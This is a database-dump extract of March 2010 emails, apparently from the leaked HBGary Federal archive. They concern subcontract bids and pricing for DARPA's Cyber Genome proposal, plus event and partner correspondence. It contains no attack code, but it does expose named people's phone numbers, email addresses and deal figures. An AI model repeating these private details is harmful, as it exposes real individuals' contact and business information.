\r\nGilbert, AZ. 85233 \r\nDirect Line:\r\n480.355.7707&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nThis email message is for the sole use of the intended\r\nrecipient\'s) and may contain GDAIS confidential or privileged information. Any\r\nunauthorized review, use, disclosure or distribution is prohibited. If you are\r\nnot an intended recipient, please contact the sender by reply email and destroy\r\nall copies of the original message.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Larson, Cindy S. \r\nSent: Thursday, March 04, 2010 3:32 PM\r\nTo: Ted Vera\r\nCc: Corcino, Stefanie E.; Vela, Ryan; Harlow, Douglas M.; Barr Aaron\r\nSubject: Request for Proposal - HBGary Federal - Cyber Genome Program\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDear Mr.\r\nVera:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGDAIS\r\nrequests your company to submit a FFP/LOE proposal in support of the Cyber\r\nGenome Program/Proposal effort.&nbsp; All documentation applicable to our RFP\r\nis attached.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nImportant -\r\nnote the due dates identified in the RFP cover letter and Attachment 1 located\r\ndirectly behind the cover letter.&nbsp; Due to DARPA\'s due date we have a very\r\nshort proposal turn around time.&nbsp; ALSO,\r\nTHE RFP ATTACHMENT 2 STATEMENT OF WORK WILL BE PROVIDED TO YOU IN A SEPARATE\r\nEMAIL BY EITHER STEFANIE CORCINO OR RYAN VELA.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe following\r\nadditonal information is required, in addition to what is outlined in the RFP\r\ncover letter and Attachment 1:\r\n\r\n\r\n\r\n\r\n\r\nPlease&nbsp;identify\r\nthe following for each task/subtask that&nbsp;your company is compiling. \r\n\r\n1. Innovative\r\nclaims that succinctly describe the uniqueness and benefits of their approach\r\nrelative to the current state-of-the=art alternate approaches.\r\n\r\n2. Define each\r\ntechnical tasks/subtasks in terms of\r\n\r\na. General\r\ndescription of the objective\r\n\r\nb. Detailed\r\ndescription of the approach to accomplish the objective\r\n\r\nc. Description\r\nof deliverables to be provided\r\n\r\nd. Completion\r\ncriteria in terms of milestones and deliverables\r\n\r\n3. Detailed\r\ntechnical rationale, approach, and plan\r\n\r\n4. Comparison\r\nwith existing research outlining advantages and disadvantages of the innovative\r\nclaims.\r\n\r\n5. Past\r\nperformance and accomplishments (Past Performance Template provided) with\r\nrelevance to current proposal.\r\n\r\n6. Description\r\nof the place of performance, facilities, and locations.\r\n\r\n7.\r\nIdentification of one key personnel with significant dedication to the proposed\r\neffort (Key Personnel Qualifications Template provided).\r\n\r\n8. Summary of\r\ncost, schedule, and milestones.\r\n\r\n9. Related\r\nresearch, white papers, or supporting information.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease call\r\nthe POCs identified in&nbsp;the cover letter with any questions or comments\r\nregarding the RFP and attachments.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe look\r\nforward to hearing from you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCindy Larson\r\n\r\n\r\n\r\n\r\n\r\nGDAIS Sr.\r\nLead Specialist, Contracts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13020,'aaron_hbgary_com/13020.html'),(3785,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001937.M659836P3547Q3785.eml','\"Martin Pillion\" <martin@hbgary.com>','Fwd: DCG: DARPA Cyber Genome: Exisiting Research Comparison','Any thoughts you can add here on last 2 columns?\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Starr, Christopher H.\" \r\n> Date: March 9, 2010 2:32:06 PM EST\r\n> To: \"Aaron Barr\" , \"Ted Vera (HBGary)\" , \"Bob Slapnik\" , \"Phil Porras\" , \"Hassen Saidi\" , \"Vinod Yegneswaran\" , \"Anita D\'Amico\" , \"Laurin Buchanan\" , \"Brianne O\'Brien\" , \"Adam Fraser\" , \"Irby Thompson\" \r\n> Subject: DCG: DARPA Cyber Genome: Exisiting Research Comparison\r\n> \r\n> The attached spreadsheet is a work in progress, but take a look at the last two (2) columns.  We would like everyone to help add ideas.\r\n>  \r\n> Purpose is to\r\n>  \r\n> -          identify limitations in current state-of-the-art technologies\r\n> -          what our revolutionary approach is\r\n> -          why this is this necessary\r\n>  \r\n> Some of other basic questions are:\r\n>  \r\n> - How can the research  help the DARPA Cyber Genome project?\r\n> - How are specific research areas related to the project, but inadequate?\r\n>  \r\n> Thanks,\r\n> Chris\r\n> 571-216-6140\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12097,'aaron_hbgary_com/12097.html'),(3786,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001937.M844094P3547Q3786.eml','\"Ted Vera\" <ted@hbgary.com>','Question for us.','Travel requested under ta3 for subs.\r\n\r\n From my iPhone\r\n',13648,'aaron_hbgary_com/13648.html'),(3787,'2010-03-09','\"Ted Vera\" <thv31@mac.com>','/aaron@hbgary.com/new/1297001938.M41110P3547Q3787.eml','\"Aaron Barr\" <aaron@hbgary.com>','NOTES FROM CALL','$3.8M HBGARY AGGREGATE\r\n$2M PIKEWERKS\r\n$1.2M SRI\r\n$1M SECURE DECISIONS\r\n\r\n',13876,'aaron_hbgary_com/13876.html'),(3788,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001938.M466980P3547Q3788.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','Call','Anita\r\n\r\nCan u call me St 719.5108478\r\n\r\n From my iPhone\r\n',12784,'aaron_hbgary_com/12784.html'),(3789,'2010-03-09','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297001938.M667603P3547Q3789.eml','aaron@hbgary.com','Call for Sponsors - 9th Annual Naval IT Day - April 15, 2010, Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n      Follow \r\n        AFCEA NOVA on\r\n        \r\n        \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     The \r\n        9th Annual AFCEA NOVA\r\n        Naval IT Day\r\n        Naval Changes: Information Dominance, Capitalization &amp; the Warfighter\r\n      April 15, 2010 - 8am-5pm\r\n        Sheraton Premiere, Tysons Corner\r\n      afceanova.org/navalitday\r\n      CALL \r\n        FOR SPONSORS\r\n      This is your \r\n        invitation to participate as a sponsor in the next of our extremely successful \r\n        Service IT Days -- the 9th Annual AFCEA NOVA Naval IT Day at the Sheraton \r\n        Premiere, Tysons Corner, Virginia. We would be pleased to showcase your \r\n        company in an event where the most senior technology &amp; operational \r\n        leaders in the U.S. Navy &amp; U.S. Marine Corps brief our community on \r\n        the future direction and opportunities in Naval Information Technology. \r\n        Last year&#8217;s event was attended by over 700 of your colleagues in \r\n        the field. There are three standard sponsorship packages available - Platinum, \r\n        Gold &amp; Small Biz Silver &#8211; as well as special Premiere slots \r\n        sponsoring the Breakfast, Luncheon, or Closing Reception.\r\n      Register \r\n        to Sponsor Naval IT Day\r\n      Register \r\n        to Attend Naval IT Day\r\n        (use coupon code 2323 for $25 off)\r\n      Platinum \r\n        Sponsor - $3,000\r\n      \r\n        Corporate \r\n          Recognition in radio spots/ads for the event\r\n        Corporate \r\n          Recognition on all print materials and in all emails related to the \r\n          event\r\n         Corporate \r\n          Recognition at luncheon and reception\r\n         Corporate \r\n          Logo in event program\r\n         Corporate \r\n          Logo on event website\r\n         Corporate \r\n          Logo on event signage\r\n         3 Admissions/ \r\n          Registrations for the event\r\n         Special \r\n          Podium Recognition as Platinum Patron Sponsor\r\n         Corporate \r\n          Literature or Giveaways in &#8220;Goody Bag&#8221; given to all conference \r\n          attendees\r\n         List \r\n          of Attendees\r\n      \r\n      Gold \r\n        Sponsor - $2,000\r\n      \r\n         Corporate \r\n          Recognition on all print materials and in all emails related to the \r\n          event\r\n         Corporate \r\n          Recognition at luncheon and reception\r\n         Corporate \r\n          Logo in event program\r\n         Corporate \r\n          Logo on event website\r\n         Corporate \r\n          Logo on event signage\r\n         2 Admissions/ \r\n          Registrations for the event\r\n         Special \r\n          Podium Recognition as Gold Patron Sponsor\r\n         Corporate \r\n          Literature in &#8220;Goody Bag&#8221; given to all conference attendees\r\n         List \r\n          of Attendees\r\n      \r\n      Small \r\n        Business Silver Sponsor - $1,000 (only 7 available)\r\n      \r\n         Same \r\n          Benefits as Gold Sponsorship\r\n         Company \r\n          must be AFCEA member and have less than 150 employees\r\n      \r\n      Premiere \r\n        Sponsor - Breakfast, Lunch or the Closing Reception - $5,000\r\n      That&#8217;s \r\n        the $5,000 level, and it&#8217;s not on the regular menu&#8230;but let&#8217;s \r\n        talk. Gets you great exposure, special recognition, Co-Sponsorship of \r\n        the Breakfast, Lunch, or Closing Reception, extra signage, 5 registrations, \r\n        plus all the regular Platinum level benefits\r\n      Register \r\n        to Sponsor Naval IT Day\r\n      Register \r\n        to Attend Naval IT Day\r\n        (use coupon code 2323 for $25 off)\r\n      For \r\n        more Information Contact Conference Director:\r\n        Martin Haley, events@afceanova.org, tel: 703-549-6911\r\n      Plus, \r\n        Don\'t Miss: \r\n      \r\n         Navy \r\n          &amp; Marine Command display booths throughout the lobby\r\n        Small \r\n          Business Plenary Sessions &amp; Small-group Town Hall \r\n          Meetings - runs in the morning and afternoon respectively, \r\n          parallel to the full conference\r\n          \r\n      \r\n      &nbsp;\r\n    &nbsp;\r\n    \r\n      \r\n        \r\n           \r\n            \r\n                 \r\n                  NAVAL \r\n                      IT Day Links\r\n                \r\n              \r\n          \r\n           \r\n            \r\n                 \r\n                   - \r\n                      About Naval IT Day\r\n                      - Sponsors\r\n                      - Venue \r\n                      &amp; Directions\r\n                      - Registration \r\n                      (use \r\n                      coupon code 2323 for $25 off) \r\n                    \r\n                \r\n              \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                Early Premiere Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                Early Platinum Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                Early Gold Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                Early Small Business Silver Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n \r\n    \r\n      &nbsp;\r\n      \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',3627,'aaron_hbgary_com/3627.html'),(3790,'2010-03-09','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001952.M395318P3547Q3790.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,bob@hbgary.com,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','DARPA Success Report approved - Secure Decisions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nConsider this some unabashed\r\nbragging, as well as information that you might want to reference when\r\nintroducing your team on the CG proposal. \r\n\r\n&nbsp;\r\n\r\nThe attached info was just\r\nreleased that AVI-Secure Decisions&#8217; DARPA SBIR on wireless security visualization\r\nmade it into the new DARPA SBIR Success Reports. The attached info will be\r\nposted to DARPA&#8217;s SBIR site and will probably be put into a soft cover\r\nbook. We were featured in a previous version about 5 years ago (see http://www.darpa.mil/sbpo//success/index.html\r\n).\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAnita\r\nD\'Amico, Ph.D.\r\n\r\nApplied Visions,\r\nInc. (AVI) \r\n\r\nDirector,\r\nSecure Decisions Division\r\n\r\n6 Bayview\r\nAvenue, Northport, NY 11768-1502\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\n(631) 754-4920\r\next. 147\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Wai-Lean Roos\r\n[mailto:wroos@fed.org] \r\nSent: Tuesday, March 09, 2010 4:48 PM\r\nTo: Anita D\'Amico; Frank Zinghini\r\nCc: Susan.Nichols@darpa.mil; Mary Ann Beyster; June Chocheles; Jim\r\nRussell (jrussell@fed.org)\r\nSubject: Success Report approved - Secure Decisions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFrank\r\nand Anita,\r\n\r\n&nbsp;\r\n\r\nPlease\r\nsee final versions (high and low resolution) of your success report.&nbsp; This\r\nreport is now available for public release and will be posted as part of the\r\nnext DARPA SBIR success booklet, available this spring. See past booklets at: http://www.darpa.mil/sbpo//success/index.html\r\n\r\nIt has been a\r\npleasure working with your team. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nWai-Lean Roos\r\n\r\nFoundation for Enterprise\r\nDevelopment\r\n\r\n1241 Cave Street,\r\nLa Jolla CA 92037\r\n\r\nPhone: (858)\r\n754-3559 \r\n\r\nFAX: (858) 459-9218\r\n\r\nwww.fed.org\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8957,'aaron_hbgary_com/8957.html'),(3791,'2010-03-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001952.M992758P3547Q3791.eml','sbrown@dewnet.ncsc.mil,\"Parkes, Harley E\" <heparke@nsa.gov>,sbrown@dewnet.ncsc.mil','Did you want to have Aaron Barr speak at REBL?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nScott and Harley,\r\n\r\n&nbsp;\r\n\r\nHaven&#8217;t heard back from you whether or not you will\r\nwant Aaron Barr to speak at REBL.&nbsp; Shown below is a short description of his\r\nproposed talk.&nbsp; Would you like to meet with him or talk on the phone?\r\n\r\n&nbsp;\r\n\r\nThreat Intelligence:&nbsp; From software to social behaviors.\r\n\r\n&nbsp;\r\n\r\nThis talk examines the importance of threat intelligence\r\nas it relates to\r\n\r\ncybersecurity, the critical factor to developing capable\r\ncybersecurity\r\n\r\nsolutions and having a comprehensive approach to\r\ncollecting and correlating\r\n\r\na full-spectrum of cyber threat information.&nbsp; Most cyber\r\nbased analysis or\r\n\r\nintelligence solutions look at one or at most a few\r\nfactors related to\r\n\r\nthreats.&nbsp; There is no quick solution here, it requires\r\nlooking at all the\r\n\r\nfactors and building threat models from scratch to mature\r\nour understanding\r\n\r\nof the threats and their evolution.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',759,'aaron_hbgary_com/759.html'),(3792,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001953.M247267P3547Q3792.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','Re: DARPA Success Report approved - Secure Decisions','Thanks Anita,I think as I mentioned, we believe our PTW is about $8M for TA3. &nbsp;Looking at the subs (HBGary, GD, Pikewerks, SRI, SecureDecision), I am taking a guess that when all is leveled out I am going to need you to come closer to $1M than $1.5M. &nbsp;I believe in hashing that out after folks have a chance to guage the work that is being requested, but that seems about right as a wag. &nbsp;Give me a call if you want to discuss.Aaron719.510.8478On Mar 9, 2010, at 5:41 PM, Anita D\'Amico wrote:Consider this some unabashed bragging, as well as information that you might want to reference when introducing your team on the CG proposal.&nbsp;The attached info was just released that AVI-Secure Decisions’ DARPA SBIR on wireless security visualization made it into the new DARPA SBIR Success Reports. The attached info will be posted to DARPA’s SBIR site and will probably be put into a soft cover book. We were featured in a previous version about 5 years ago (see&nbsp;http://www.darpa.mil/sbpo//success/index.html&nbsp;).&nbsp;&nbsp;Anita D\'Amico, Ph.D.Applied Visions, Inc. (AVI)Director, Secure Decisions Division6 Bayview Avenue, Northport, NY 11768-1502http://SecureDecisions.avi.com(631) 754-4920 ext. 147&nbsp;&nbsp;&nbsp;From:&nbsp;Wai-Lean Roos [mailto:wroos@fed.org]&nbsp;Sent:&nbsp;Tuesday, March 09, 2010 4:48 PMTo:&nbsp;Anita D\'Amico; Frank ZinghiniCc:&nbsp;Susan.Nichols@darpa.mil; Mary Ann Beyster; June Chocheles; Jim Russell (jrussell@fed.org)Subject:&nbsp;Success Report approved - Secure Decisions&nbsp;Frank and Anita,&nbsp;Please see final versions (high and low resolution) of your success report.&nbsp; This report is now available for public release and will be posted as part of the next DARPA SBIR success booklet, available this spring. See past booklets at:http://www.darpa.mil/sbpo//success/index.htmlIt has been a pleasure working with your team.&nbsp;&nbsp;Wai-Lean RoosFoundation for Enterprise Development1241 Cave Street, La Jolla CA 92037Phone: (858) 754-3559FAX: (858) 459-9218www.fed.org&nbsp;&lt;Secure Decisions Success Report FINAL lowres.pdf&gt;&lt;Secure Decisions Success Report FINAL highres.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8520,'aaron_hbgary_com/8520.html'),(3793,'2010-03-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001955.M998929P3547Q3793.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Test','Test output files, full disclosure...\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',6511,'aaron_hbgary_com/6511.html'),(3794,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001956.M233287P3547Q3794.eml','\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>','Thoughts from Martin related to TA3','Some good thoughts from Martin.\r\n\r\n',7021,'aaron_hbgary_com/7021.html'),(3795,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001956.M422131P3547Q3795.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Test','Got\'em.\r\n\r\nThought.  If we win one of these, especially TA3, I think we need to strike while the press is hot and hire a CTO (ringer) steeped in Malware analysis, offer him a small piece of the pie maybe.  Thoughts?  If we win TA3 alone could we afford it if he was charging 1/4 - 1/2 time to the contract?\r\n\r\nAaron\r\n\r\nOn Mar 9, 2010, at 6:00 PM, Ted Vera wrote:\r\n\r\n> Test output files, full disclosure...\r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14726,'aaron_hbgary_com/14726.html'),(3796,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001956.M615621P3547Q3796.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Haven\'t forgot','Matt,\r\n\r\nI haven\'t forgot about GovCon, just swamped this week with DARPA.  Come monday I will make this a focus to see where we can get to.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10961,'aaron_hbgary_com/10961.html'),(3797,'2010-03-09','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001956.M810503P3547Q3797.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA Success Report approved - Secure Decisions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s talk tomorrow. What number are you at?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 09, 2010 5:58 PM\r\nTo: Anita D\'Amico\r\nSubject: Re: DARPA Success Report approved - Secure Decisions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Anita,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think as I mentioned, we believe our PTW is about $8M for\r\nTA3. &nbsp;Looking at the subs (HBGary, GD, Pikewerks, SRI, SecureDecision), I\r\nam taking a guess that when all is leveled out I am going to need you to come\r\ncloser to $1M than $1.5M. &nbsp;I believe in hashing that out after folks have\r\na chance to guage the work that is being requested, but that seems about right\r\nas a wag. &nbsp;Give me a call if you want to discuss.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 9, 2010, at 5:41 PM, Anita D\'Amico wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nConsider this some unabashed bragging, as well as information\r\nthat you might want to reference when introducing your team on the CG proposal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe attached info was just released that AVI-Secure Decisions&#8217;\r\nDARPA SBIR on wireless security visualization made it into the new DARPA SBIR\r\nSuccess Reports. The attached info will be posted to DARPA&#8217;s SBIR site and will\r\nprobably be put into a soft cover book. We were featured in a previous version\r\nabout 5 years ago (see&nbsp;http://www.darpa.mil/sbpo//success/index.html&nbsp;).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnita D\'Amico, Ph.D.\r\n\r\n\r\n\r\n\r\n\r\nApplied Visions, Inc. (AVI)\r\n\r\n\r\n\r\n\r\n\r\nDirector, Secure Decisions Division\r\n\r\n\r\n\r\n\r\n\r\n6 Bayview Avenue, Northport, NY 11768-1502\r\n\r\n\r\n\r\n\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\n\r\n\r\n\r\n\r\n(631) 754-4920 ext. 147\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Wai-Lean Roos\r\n[mailto:wroos@fed.org]&nbsp;\r\nSent:&nbsp;Tuesday, March 09,\r\n2010 4:48 PM\r\nTo:&nbsp;Anita D\'Amico; Frank\r\nZinghini\r\nCc:&nbsp;Susan.Nichols@darpa.mil; Mary Ann\r\nBeyster; June Chocheles; Jim Russell (jrussell@fed.org)\r\nSubject:&nbsp;Success Report\r\napproved - Secure Decisions\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrank\r\nand Anita,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nsee final versions (high and low resolution) of your success report.&nbsp; This\r\nreport is now available for public release and will be posted as part of the\r\nnext DARPA SBIR success booklet, available this spring. See past booklets at:http://www.darpa.mil/sbpo//success/index.html\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nhas been a pleasure working with your team.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWai-Lean\r\nRoos\r\n\r\n\r\n\r\n\r\n\r\nFoundation for Enterprise Development\r\n\r\n\r\n\r\n\r\n\r\n1241 Cave Street, La Jolla CA 92037\r\n\r\n\r\n\r\n\r\n\r\nPhone: (858) 754-3559\r\n\r\n\r\n\r\n\r\n\r\nFAX: (858) 459-9218\r\n\r\n\r\n\r\n\r\n\r\nwww.fed.org\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Secure\r\nDecisions Success Report FINAL lowres.pdf&gt;&lt;Secure Decisions Success\r\nReport FINAL highres.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10276,'aaron_hbgary_com/10276.html'),(3798,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001956.M999161P3547Q3798.eml','\"Ted Vera\" <ted@hbgary.com>','GD','Just got a call from GD and they are at about 2990 hours for 4 years @ $675K TA3.\r\n\r\nThats about right.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5063,'aaron_hbgary_com/5063.html'),(3799,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001957.M203625P3547Q3799.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','Re: DARPA Success Report approved - Secure Decisions','Not quite sure yet since I haven\'t seen the figures from Pikewerks or SRI, but if they come in at the values I am guessing and you around $1M then that hits right about $8M. &nbsp;To be honest I think even $1M is a little high as I look at the workshare and SOWs, but I also don\'t want to get too far below what we discussed. &nbsp;I don\'t expect HBGary Federal will get more than around $2M and this is primarily an analytical task. &nbsp;I am expecting Pikewerks to be around the same, but again haven\'t seen their numbers yet. 